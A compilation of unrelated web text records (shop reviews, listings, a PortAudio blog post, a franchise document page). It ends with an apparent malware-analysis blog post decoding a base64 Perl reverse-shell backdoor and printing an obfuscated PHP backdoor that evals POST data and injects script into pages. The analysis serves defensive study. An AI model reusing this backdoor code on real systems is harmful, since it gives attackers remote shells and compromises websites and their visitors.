text:
Height: 4.5cm
Free EXPRESS POST shipping if you spend $70 or more!
Reviews (91)
by Kiki Applus on December 7, 2019
"The gift packaging it came in was wonderful! Very cute item!"
by Francesca Kim on December 6, 2019
"Lovely necklace packaged beautifully, including a small gift bag (much appreciated). Cannot believe this item came all the way from the Gold Coast of Australia!"
by rosalie florens on December 6, 2019
"The item is perfect, packaging and posting was great. I recommend this shop and will use it again"
by stevenjcook on December 6, 2019
"Dispatched in good time. Well wrapped for gifting"
by Laura on December 5, 2019
"Beautiful little figurine, comes with gorgeous gift packaging. Came super quickly considering it travelled halfway round the world. Amazing experience all round."
by Peregrine Seven on November 28, 2019
"Such a sweet little fellow from this wonderful store! Lots of perect gifts for all occasions."
by Bec Heitbaum on November 23, 2019
by Bec Heitbaum on November 23, 2019
by Ellen Thomson on November 22, 2019
"The quality of these are amazing, love them! Love the gift bags included, great vendor!"
by Janine Good on November 19, 2019
"Thanks so much. This is a special gift for our OB who delivered our baby. Great experience and product"
by FYROM on November 13, 2019
"Arrived in 2.5 weeks (to USA), exactly what I was looking for."
by Vixikins on November 11, 2019
"gorgeous baby koala, my mums gonna love her xmas pressies :)"
by Vixikins on November 11, 2019
"love this lil guy, so cute! mums gonna love him :)"
by magpie1945 on November 11, 2019
"This is just lovely. I was thrilled with the included gift card, envelope and info. about the company. Thank you."
by Rachel on October 28, 2019
"Very sweet little figurine. It is very well made with great detail in the casting. Arrived well packaged with lovely gift wrap provided. Super happy with the purchase and would buy from this seller again."
by Vanessa White on October 25, 2019
"Divine and expertly crafted little guy. Love him. Thanks."
by Vixikins on October 16, 2019
"Antonia is awesome and so are her fantastic pieces. So much detail in these figurines, love them!"
by Vixikins on October 16, 2019
"I will definitely be back for more, I know what to get my mum for Christmas this year!"
by Maria-Helena Anselmo on October 1, 2019
by AstroKit on September 18, 2019
"Great item, I highly recommended"
by Gabriele Wördehoff on September 17, 2019
by Marisa on August 27, 2019
"It's beautiful even my kids and granddaughters like it, thanks Marisa"
by museleader on August 23, 2019
"Thank you from the bottom of my heart for all the extra help you gave me. The platypus knife arrived safely wrapped. It is more beautiful than in the picture and has a nice weight to it. My daughter will love her birthday present. She loves the platypus!"
by DS.Natasha on August 18, 2019
"Beautiful knife! Fast shipping, very good package! Thank you!"
by Annette Hardy on August 15, 2019
"A very tasteful lovely well made piece of Australian made giftware that anyone would be happy to receive. Love it!"
by relax4nowjr1 on August 15, 2019
"Arrived quickly and well packaged. A perfect gift to show case Australia. Exquisite detail and solid piece to treasure."
by Ed Tobin on August 12, 2019
"Absolutely beautiful addition to my desk set. Speedy delivery, very well packaged and exactly as described!"
by Ed Tobin on August 12, 2019
"Beautiful little piece that I have sitting on an entrance table near my front door. There has not been a soul who has entered that has not paid the nicest compliment. The detail is phenomenal on this little piece, absolutely love it!!"
by Stephen Moss on August 6, 2019
"Fantastic. Great sculpt. Thank you!"
by Lauryn on July 15, 2019
by Nicole Anthea on July 3, 2019
"Very cute, perfect size and comes with a little gift pouch, thanks"
by Danielle on July 1, 2019
"Beautifully made, excellent craftsmanship, quality and service. Well presented with gift packaging, fantastic Australian made gift for my daughters host familes in France. Highly recommend. So impressed I bought one for myself."
by Christine Eager on June 18, 2019
"I love my little pewter dove! I bought it as a gift for my granddaughter's Confirmation. Very happy with the quality and the gift packaging. I can thoroughly recommend Oz Art Studios."
by DS.Natasha on February 8, 2019
"Thank you so much! Beautiful knife. Platypus is very cute!"
by KnightofNi13 on February 6, 2019
"This made for a great Christmas present. The quality is fantastic and the wrapping was simple yet elegant."
by Francisco on January 28, 2019
by lrkrause on January 22, 2019
"Beautiful craftsmanship! Very high quality and well designed. Will definitely shop here again."
by Cinders357 on January 19, 2019
"This is really adorable and well made! A+ seller!"
by mariejennings on January 9, 2019
"Cute as can be! This will be the perfect gift."
by Fiona McManus on January 3, 2019
"Lovely, just need a chain now!"
by Erin Monteith on December 31, 2018
"Thank you very much :)"
by lmartinolich on December 30, 2018
"This little guy has fantastic detail and weight. Best of all, he made it for Christmas! Thank you."
by Chloé on December 28, 2018
"Article qui a beaucoup plu à la personne à qui je l'ai offert. Envoyé rapidement mais prévoyez quand même un peu de temps pour la livraison en France !"
by Jess on December 25, 2018
by Donna Huntriss on December 23, 2018
"Absolutely beautiful and well packaged and shipped ASAP! Recommended seller!"
by Lauren Finley on December 19, 2018
"This was a gift for a friend and she loved it! Seller was responsive to questions and very helpful when there was a shipping hiccup."
by Deuce0418 on December 13, 2018
"Very happy with the Koala opener. Very nice. Shop answers questions fast and it shipped timely. Took two weeks to get to eastern USA, on exact date that was predicted. Will order from shop again. Very happy with purchase!"
by Emma on December 12, 2018
"Very cute, and fast shipping. Thankyou!"
by Laura Vidot on December 11, 2018
"Very beautiful, perfect for a gift"
by liz3801 on December 5, 2018
"Wonderful product and service. I love the packaging that came with this keyring so I can make this a special gift! Postage was very fast as well - many thanks!"
by Patti Vaticano on December 5, 2018
"Way smaller than anticipated but beautifully made. Even though it's small, you can see every one of the tiny faces on the animals. Delightful!!! Nicely packaged, too. Many thanks!"
by katiellen7 on December 4, 2018
"The platypus keychain is SO nice. It's so well done, and the perfect size. Thank you for the gift box and bag, and thank you for this little piece of art! Also, I had a question about the shipping timeline while I was waiting, and the shop answered my question right away. Thanks!"
by Gabrielle Kofe on November 30, 2018
by Gabrielle Kofe on November 30, 2018
by saniba1 on November 29, 2018
"So happy with my order. Beautiful keychains."
by saniba1 on November 29, 2018
"So happy with my purchase. Beautiful keychains."
by Justine C on November 28, 2018
by yageol on November 26, 2018
"Beautyful. It will be a christmas present for my daughter, I'm shure, she will love it too. Thank you for shipping in time"
by Carman on November 25, 2018
"Great detail, shipped international and it still made it fairly quickly. Absolutely love it!"
by elliery on November 19, 2018
by Octophant on November 14, 2018
"Arrived quickly, and better than the real thing - this one won't stick you with a poison spike while you're trying to spread pâté, or secrete milk onto your membrillo."
by anonymous on October 30, 2018
"Absolutely beautiful little tea light holder. Solid piece, with Aussie animals around the sides. Perfect gift or to use yourself. Easy ordering, prompt delivery. Would definitely recommend item."
by Janeane Baker on October 29, 2018
"Very cute and good quality. Thankyou"
by Craig Stewart on October 22, 2018
"nice, as per what I ordered"
by gillian abbott on October 18, 2018
"Lovely, very detailed, fast shipping, thanks"
by timmychael on October 16, 2018
by Amelia on October 8, 2018
"Perfect - thank you so much!"
by metzbjade on September 26, 2018
by milbux on September 18, 2018
"Gorgeous charm. Very happy. Prompt delivery"
by Jane Kennedy on September 11, 2018
"Absolutely beautiful and excellent quality. This is the perfect gift"
by Rachael Wilson on August 27, 2018
"Beautiful necklace - thanks so much!"
by Jane Kennedy on August 21, 2018
"This is our second spoon - quality is excellent and the design unique"
by Savannah Smith on July 24, 2018
by Ahmad on July 4, 2018
"Really nice and great quality! Beautful design and very well made. It arrived safely and without any problem."
by Ahmad on July 4, 2018
"Really nice and great quality! Beautful design and very well made. It arrived safely and without any problem."
by Ahmad on July 4, 2018
"Really nice and great quality! Beautful design and very well made. It arrived safely and without any problem."
by Amelia on June 18, 2018
"Wonderful - thank you so much!"
by Jamie Roland on June 6, 2018
by Jsterbar on June 4, 2018
"Even more beautiful in person. Quick shipping. Thanks so much!"
by Simone on June 2, 2018
"I'm a huge bird lover so I had to buy this when I saw it. It arrived quickly with beautiful packaging, I'm still keeping mine in the pouch it came in for the time being. Highly detailed, with excellent craftsmanship."
by Kasandra Aldine on May 30, 2018
"Very beautifully detailed crafted Kookaburra. Looks exceptional! Absolutely adore."
by Kasandra Aldine on May 30, 2018
"High craftsmanship. Very detailed work. Absolutely love it. Can't take my eye from it."
by ginaatz on May 28, 2018
"Just perfect ! Excellent service will definitely order again. I purchased the Australia and kangaroo keychain and a little figurine - great gifts and also Aussie made ! Thank you !!!!!"
by Tiffani Duley on May 24, 2018
"Great quality earrings"
by fay jones on May 16, 2018
"it was delicate and cute"
by mkingwell on April 3, 2018
"Absolutely gorgeous, very well made. Good to know things can be made in Australia still."
by Maria Joseph on February 19, 2018
"These earrings are so beautiful and well-made. Fast delivery and great service. Highly recommend this seller!"
by Tom on February 8, 2018
"I bought this for my daughter and she absolutely loves it. The attention to detail is stunning."
by Tom on February 8, 2018
"Really cute design!"
by Tom on February 8, 2018
"My wife loved the detail in the design and the fact that is was Australian designed and made. I'll certainly be buying more"
by Tom on February 8, 2018
"The quality of the casting is stunning I couldn't be happier. Would recommend to anyone!"
Swagman Aussie Dunny Australian Souvenir Figurine
Intricately detailed Aussie Dunny figurine. Made in Australia out of the finest lead-and-nickel-free pewter. Height: 4.5cm.
Pewter is a naturally tarnish-resistant metal that has been used for centuries. Learn More
All Oz Art Studios items come with FREE gift packaging! View Gift Packaging


text:
- Publications
- > Blog
- > Alphabetical Sorting of Authors
Our group includes PostDocs, PhD students, and student assistants, and is headed by Prof. Felix Naumann. If you are interested in joining our team, please contact Felix Naumann.
For bachelor students we offer German lectures on database systems in addition with paper- or project-oriented seminars. Within a one-year bachelor project students finalize their studies in cooperation with external partners. For master students we offer courses on information integration, data profiling, search engines and information retrieval enhanced by specialized seminars, master projects and advised master theses.
Most of our research is conducted in the context of larger research projects, in collaboration across students, across groups, and across universities. We strive to make available most of our data sets and source code.
We publish our research mostly at DB and IR-related journals and conferences. Many of our publications are available as downloads. If you cannot find one, please contact one of the authors.

subset: commoncrawl


text:
- Anywhere
- Worldwide
- United Kingdom
- England
- Huntingdon
There are 1182 house and pet sitting opportunities near Huntingdon, United Kingdom
Your love of pets can take you places! Join as a house sitter to stay with adorable pets near and far away.How it works
Going away? Whether you're setting off on a relaxing trip or an exciting house sit, your pets can stay safe at home with a house sitter too.Find a pet sitter


text:
Granite - White Springs
- Dimensions: 93.0" by 44.0"
- Thickness: 2cm
- Square Feet: 28.0ft2
- Stone Type: Granite
- Stone Name: White Springs
- Location: Picked Up
- Product ID: Z6446
About Granite
Granite is an excellent choice for any environment. Durable yet beautiful, this natural stone is available in a huge variety. Granite is naturally scratch and heat resistant; when sealed it is also stain resistant. The only maintenance required is sealing and with the proper sealant, your stone can be protected for up to eight years at a time.More About Granite Compare


text:
The SH_1_RES.DLL is a Sharp Printer Driver.
SH_1_RES.DLL is developed by Sharp Corporation. It's a system and hidden file. SH_1_RES.DLL is usually located in the %SYSTEM% sub-folder and its usual size is 359,936 bytes.
The SH_1_RES.DLL process is safe and disabling it can be dangerous, because programs on your computer need it to work correctly.
Author: Sharp CorporationProcess: Sharp Printer DriverPart Of: Sharp Printer DriverCommon path(s): subfolder in %SYSTEM%
subfolder in %WINDOWS%Keywords(s): systemFilesize(s): 359,936 bytes, 359,424 bytes
No comments found


text:
Have a question for Dover Farms? Type your question below and we will send it to the owner or manager.
By clicking "Send Request," you agree to receive email correspondence from this community and its sales agents, which you can opt-out of at any time.
This form is intended for legitimate inquiries from individuals who are considering this community as a place to live.
Using this email system for any other purpose such as soliciting or filing complaints is prohibited by MHVillage.com's Terms of Use.
Thank you for your cooperation.


text:
Welcome to the Your Store Forums forums.
We are a forum all about eCommerce and specializing in information for Yahoo! Store and Yahoo! Merchant Solutions store owners and operators. We have areas just for store owners to discuss any topics including eCommerce Platforms, fraud and much more.
You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!
If you have any problems with the registration process or your account login, please contact contact us.
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text:
« 30 days :: 13 | Main | 30 days :: 15 »
Greetings! I'm Amanda Blake Soule - mother of five, author of three books on family creativity, and editor-in-chief of Taproot Magazine. I live with my family in an old farmhouse in Western Maine where we raise animals, grow vegetables and make lots of things. I write about it all here on the blog. Thank you for visiting!


text:
Result ListShowing 1 - 5 of 5 Results for Eisenstadt, Debra.
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I-Share includes the resources of 91 Illinois libraries that belong to CARLI.
About I-Share | List of I-Share Libraries | Map of I-Share Libraries | Contact Your Library


text:
July 12, 2013
I've been talking about using Linux-based systems for embedded use lately. One very popular system is the Raspberry Pi.
I've been talking about using Linux-based systems for embedded use lately. One very popular system has been the Raspberry Pi. I wanted to do a small project with the Pi, but was disappointed to see that it only has audio out and no audio in capabilities.
On the other hand, it does have USB ports. I rummaged a bit and found an old Labtec USB mic based on an AK5370 A/D converter. As expected, the Pi found it and suddenly had audio input capabilities.
There are many ways to work with audio hardware under Linux, but one of the best is the PortAudio library. One of the great things about this library is that is very portable to different platforms and it is also easy to use. The portability means you could easily develop your code on a desktop Linux machine and then move it. You could even do some development on a Windows machine or a Mac, although porting the rest of the code might not be as easy.
I have longer term plans, but for now I just wanted to get something working, so I dug through some old code I'd used before with PortAudio to refresh my memory. The library is easy to use. You open each input or output device you want to use as a stream. When you open the stream, you provide a callback function. When PortAudio needs more data for an output device, or has a block of data from an input device, it calls your callback function.
You can find the entire program in the online listings. However, here's the callback function:
// Audio data comes in through this callback static int paCallback(const void *in, void *out, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo *timeinfo, PaStreamCallbackFlags statusFlags, void *userdata) { unsigned i; uint32_t *buf=(uint32_t *)in; audiostats *stats=(audiostats *)userdata; for (i=0;i<framesPerBuffer;i++) { // update stats if (stats->minin>buf[i]) stats->minin=buf[i]; if (stats->maxin<buf[i]) stats->maxin=buf[i]; stats->total+=buf[i]; } stats->count+=framesPerBuffer; return 0; }
In this case, the callback just gathers some statistics that the main program will print out. However, eventually you'll want to do something more interesting (perhaps a fast Fourier transform or a Goertzel on the incoming data). Keep in mind that the callback (at least on some systems) will be time critical, so you don't want to do too much here. I'm planning on just copying the buffer over and letting another part of the code do the processing.
If you dig into the online listing, you'll see the setup is pretty much what you'd expect:
- Initialize the PortAudio library (Pa_Initialize)
- Query the library about the default input stream (Pa_GetDefaultInputDevice, Pa_GetDeviceInfo)
- Open the default input stream (Pa_OpenDefaultStream)
- Start the stream (Pa_StartStream)
- Wait (Pa_Sleep; although there were other ways to do this)
- Stop the stream (Pa_StopStream)
- Close the stream (Pa_CloseStream)
- Shut the library down (Pa_Terminate)
You can find the documentation for the calls on the PortAudio web site.
This is a great example of how using Linux gives you a lot of leverage. I have no idea how the microphone delivers audio data over USB. I don't have to deal with raw audio data from a device file. The code is even fairly portable to other operating systems. What's not to like?
I'll be looking more at PortAudio and other Linux tools over the next few weeks. Although I'm using the Raspberry Pi, the techniques would apply to any Linux system like a Beagle Bone, or even a small form factor PC running Linux.


text:
This is the full 2018 Franchise Disclosure Document (FDD) for the @Work Group franchise concept, made available in downloadable PDF format.
What is a UFOC/FDD, Uniform Franchise Offering Circular / Franchise Disclosure Document?
The UFOC/FDD was a response to some unethical behavior in the 1960s and 1970s. Today franchises are regulated by law. The Federal Trade Commission (FTC) requires that certain information be disclosed to potential franchisees before a contract can be signed or any payment made. The information is presented to the prospective franchisee in the form of a document -- the UFOC/FDD.
Franchise Registration States
The FTC requires franchisors in every state to provide a UFOC/FDD. In addition, some states require that the offering must first be approved and registered by the state before it can be promoted to prospective franchise buyers. These states include: California, Hawaii, Illinois, Indiana, Maryland, Michigan, Minnesota, New York, North Dakota, Oregon, Rhode Island, South Dakota, Virginia, Washington, and Wisconsin. Certain states, such as Illinois and Minnesota, have even more stringent requirements for the franchisor. This in turn affords better protection for the prospective franchisee.
What Does the Franchise UFOC/FDD Contain?
The UFOC/FDD contains 23 items of information that must be current as of the completion of the franchisors most recent fiscal year. If there is a material change to the information in the document, the franchisor must make a revision (to be issued quarterly). The disclosure document must be given to a prospective franchisee at whichever occurs earlier: the first personal meeting of franchisor and prospective franchisee or ten working days prior to the execution of a contract or money payment to the franchisor.
Standard Registration Documents:
1. The Franchisor, It's Predecessors And Affiliates
2. Business Experience
3. Litigation
4. Bankruptcy
5. Initial Franchise Fee
6. Other Fees
7. Initial Investment
8. Restrictions On Sources Of Products And Services
9. Franchisee's Obligations
10. Financing
11. Franchisor's Obligations
12. Territory
13. Trademarks
14. Patents, Copyrights and Proprietary Information
15. Obligation To Participate In The Actual Operation Of The Franchise Business
16. Restrictions On What The Franchisee May Sell
17. Renewal, Termination, Transfer And Dispute Resolution
18. Public Figures
19. Earnings Claims
20. List Of Outlets
21. Financial Statements
22. Contracts
23. Receipt
How Do I Use this Franchise Document?
The UFOC/FDD is similar to a securities prospectus. It can provide the information you need to evaluate a company or to target potential sales clients. An accredited franchise company, whether publicly traded or privately owned, must provide this disclosure document.
The UFOC/FDD is most valuable for potential franchisees, potential franchisors, franchisors, investors, financial companies and suppliers to franchisees.
What UFOC/FDDs Do Research and Markets Have?
The number of franchise company UFOC/FDD's filed yearly is probably around 3000. Many of these companies are start-up or young concepts with only a handful of franchised units. Our library of current and archived UFOC/FDDs contains documents from both older, more established companies and noteworthy, new, and exciting opportunities.
How Do I Request a UFOC/FDD Not in Stock?
If you don't see what you're looking for on our list of UFOC/FDDs, send us a Request for UFOC/FDD. We will email you back within 24 hours as to the availability of the UFOC/FDD information, expected delivery time, and the price.
Item 1. The Franchisor and Any Parents, Predecessors, and Affiliates
Item 2. Business Experience
Item 3. Litigation
Item 4. Bankruptcy
Item 5. Initial Fees
Item 6. Other Fees
Item 7. Estimated Initial Investment
Item 8. Restrictions on Sources of Products and Services
Item 9. Franchisee's Obligations
Item 10. Financing
Item 11. Franchisor's Assistance, Advertising, Computer Systems, and Training
Item 12. Territory
Item 13. Trademarks
Item 14. Patents, Copyrights, and Proprietary Information
Item 15. Obligation to Participate in the Actual Operation of the Franchise Business
Item 16. Restrictions on What the Franchisee May Sell
Item 17. Renewal, Termination, Transfer, and Dispute Resolution
Item 18. Public Figures
Item 19. Financial Performance Representations (if disclosed)
Item 20. Outlets and Franchisee Information
Item 21. Financial Statements
Item 22. Contracts
Item 23. Receipts
Various Addenda to Disclosure Document (e.g., List of Franchisees, Financial Statements, Franchise Agreement, etc.)


text:
Losing weight: 9 foods that are keeping you fat
A study published in The New England Journal of Medicine found that the quality of the foods that you eat has more to do with losing weight than the quantity of food you eat. Here is a list of 9 foods that are keeping you fat, compiled from various studies as well as recent articles and research.
1. Potato chips
A New England Journal of Medicine study stated that the food most strongly associated with weight gain is potato chips. Bummer, I know! Over time, potatoes in general were attributed with causing the most weight gain, though it was potato chips that were the worst. French fries came in a very close second.


text:
NewTayana Layma Agata
Administration of this Website just provides an advertising platform and is not responsible for the content. This Website is intended for people who have reached 18 years. If you are under 18, you are not authorized to use this Website
© 2009-2020 RelaxPortal.biz. All rights reserved.
Copying of materials is prohibited.


text:
2018 | 68 Fiat Tipo 1.4 Easy 5 Door
Fiat Tipo Features
- One Owner
- Service History
- Alloy Wheels
- Air Conditioning
- Parking Sensors
- Bluetooth connection
- Electric Mirrors
- Central Locking
- Immobiliser
- Remote Central Locking
- Height adjustable drivers seat
- Rear Headrests
- Cruise Control
- Multi-function Steering Wheel
- Power Steering
- Multiple Airbags
- Isofix child seat anchor points
- Rear Wash/wipe
- Spare Wheel
- CD Player
- Stereo
- Steering Wheel Audio Controls
- We provide an Inclusive Parts & Labour Guarantee
- Extended Warranty Available at Cost
North Star
Engine & MPG
- Engine Size:1368cc
- MOT Expires:04 September 21
- MPG Extra-urban:62.8mpg
- MPG Combined:49.6mpg
- MPG Urban:36.7mpg
Dimensions & Weight
- MOT Expires:04 September 21
- Height:1,495 mm
- Width:1,792 mm
- Length:4,368 mm
Performance & Safety
- MOT Expires:04 September 21
- BHP:94bhp
- Top Speed:115mph
All of our cars are carefully selected from trusted sources by one of our directors and then inspected in one of our workshops and road tested before being valeted and prepared for retail sale. When sold the vehicles are then serviced, Mot'd if necessary and supplied with our own comprehensive 3 month guarantee that, in the unlikely event of a problem, includes recovery and the use of a replacement car. This guarantee can be extended up to 1 year.
We do not add any other 'hidden charges' or fee's like many other Car Supermarket's or Dealerships. Road Fund Licence payable to the DVLA is the only extra charge, we arrange this application for you free of charge.
This combined with our meticulous preparation and extensive guarantee ensures total peace of mind. It is the intention of the North Star Sussex not only to sell our customers a first class used car but to be able to cater for all their ongoing motoring needs. To this end we are able to offer full workshop facilities in several Sussex locations for mechanical repairs, servicing, M.O.T. testing, valeting, coachwork and paint repairs. We have the facilities to collect and deliver or provide a courtesy car, for a small charge, whilst work is being carried out.
North Star Sussex location is situated on the old A 23 London to Brighton road at Sayers Common, which is 6 miles north of Brighton near the Hickstead All England Show Jumping ground.
The company operates from spacious premises that afford plenty of room for the display of sales vehicles and easy customer parking, we specialise in the sale of nearly new, low mileage, top quality used cars at the most competitive, no haggle, prices.
There is normally a choice of up to 100 vehicles available for sale at our Sayers Common Vehicle Display area.
We can offer competitive finance & leasing packages to accommodate most needs. Part exchange facilities are available.
Every North Star customer receives the personal attention of the staff and our directors as it is our aim to build an ongoing business relationship. We pride ourselves on the number of our customers who converse with us on first name terms, recommend us to their family and friends, return to us for all their motoring requirements and become our friends.
Motor cars, being the complex items that they are today, occasionally do go wrong; however you can be assured that when you become a North Star customer any problems will be dealt with promptly, efficiently and courteously.
Vehicle Enquiry Form
Similar Vehicles
* Spread over the term
** Included in final payment
† Included in initial payment
North Star is Authorised and Regulated by the Financial Conduct Authority. Finance Subject to status. Other offers may be available but cannot be used in conjunction with this offer. We work with a number of carefully selected credit providers who may be able to offer you finance for your purchase. We are only able to offer finance products from these providers. Postal Address: London Road, , Sayers Common, West Sussex, BN6 9HZ.


text:
Email Event
Your Name
"Your Name" and "Your Email Address" will be listed as the sender of the event.
Your Email Address
Recipient Name
"Recipient Name" and "Recipient Email Address" will appear as the receiver of the event. If there are multiple recipient email addresses (up to 8 are allowed), "Recipient Name" will not be included.
Enter additional Email Addresses separated
by commas (,).
Recipient Email Address
Separate multiple addresses with commas. Multiple addresses will not include a "Recipient Name".
Copyright © 2020 UC Regents


text:
PHP Bot Decoding – Part 1
The good news is we can handle these samples very easily. The first base64 looks like it will take a bit of work but the second one we can decode right now.
I just happen to have a perl script I wrote to do just the thing.
use Compress::Zlib;
use MIME::Base64;
$new = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
$test = MIME::Base64::decode $new;
print "$test";
It's not complex but it does the work well and you can use > to redirect to a file if the base64 turns out to be a binary. In this case we don't need to worry, it's another perl script.
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] \n";
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
print "[*] Spawning Shell\n";
if (!fork( )) {
exec {'/bin/sh'} '-bash' . "" x 4;
I wanted to look up what that pack command was doing so I put it in to Google. It brings up a lot a hits with samples from perl courses showing how to make a client server application. I won't be following this anymore, if you are wondering pack is used in perl to, well pack data.
I am going to need a couple days to check the rest of this out. Stay tuned.
Looking For Samples?
Practice is always good. There is a few sites a look at when I am looking for things to analyze, one that always seems to have something for me to look at is clean-mx.de. I just pulled what looks like a PHP bot off of one of the database entries. I post a snippet below.
^JaVa Coder^ shell v2.0 ^Ojo Dumeh^
body {
color: white; background-color: black;
font-size: 12px;
font-family: Helvetica,Arial,Sans-Serif;
<? $dir = @getcwd(); echo "JaVa Coder "; $OS = @PHP_OS; echo "OSTYPE :$OS "; echo "uname -a; $uname "; $free = disk_free_space($dir); $ob = @ini_get("open_basedir"); $df = @ini_get("disable_functions"); if( ini_get('safe_mode') ) {
One thing I look for in these bots is URL's / IP's and Base64 encoded stuff. We have both in this sample, two Base64;
<?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIGhlcmUgLS0+CmlmKHR5cGVvZih5YWhvb19jb3VudGVyKSE9dHlwZW9mKDEpKWV2YWwodW5lc2NhcGUoJ2AlNzZhfnIjIGBhPywlNjklMkMjJTVGYCUzQmk9PyIlMzclMzYjJTJFfDEkJTM2JTMzfCUyRT8iOyQlNjF+JTNEJTVCIiUzNzglMkUxJTM1NyMlMkV+JTMxPyUzNCUzMiUyRT81OCMiJCUyQyU2OSQlMkIlMjI/JTMxfDQlMzF8LiUzM2A1IixpK34iMSQlMzk/MS4xMyElMzIiJTVEQDslNUZ8PTElM0IkJTY5JCU2NiQlMjgjZCU2RmAlNjMjdX5tfGUhJTZFJTc0LiFjb3xvYGtpPyU2NS5tYSU3NEBjJTY4YChALyMlNUMlNjIlNjghZyMlNjZgJTc0fCUzRDEvKSUzRH49IyU2RXUjbCU2Q2ApQGZvcn4oYCU2OSQlM0QlMzAlM0IlNjlAJTNDMyUzQiU2OSUyQiMlMkIjKSQlNjQjbyU2MyN1fm1+JTY1YCU2RSU3NC5+JTc3ciNpPyU3NCU2NXwlMjgiQCUzQ35zY3xyP2klNzAjJTc0QCUzRXwlNjkjZn4lMjh+XyMlMjlkJCU2RiElNjN8JTc1YG1lfiU2RXQkJTJFJTc3JTcyJTY5JTc0QCU2NSUyOEAlNUMiQCUzQyMlNzMlNjMlNzIlNjlwJTc0fiBAaWQ/JTNEJTVGJTIyJTJCQGklMkIjIl9gIHMhcmMjPX4vQC9gIn4rPyU2MX5baT8lNUQlMkIiJTJGY34lNzAvJTNFJTNDQCU1QyMlNUNAJTJGJTczJCU2Mz9yJTY5ISU3MGAlNzQhJTNFfCU1QyUyMiMpIyUzQyU1QyUyRiU3MyFjP3IlNjkjcGB0JTNFfiUyMkAlMjkjOycpLnJlcGxhY2UoL2B8XCF8I3xcfHxcJHxcP3xAfH4vZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cyBoZXJlLis/PC9zY3JpcHQ+CiNz'),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i
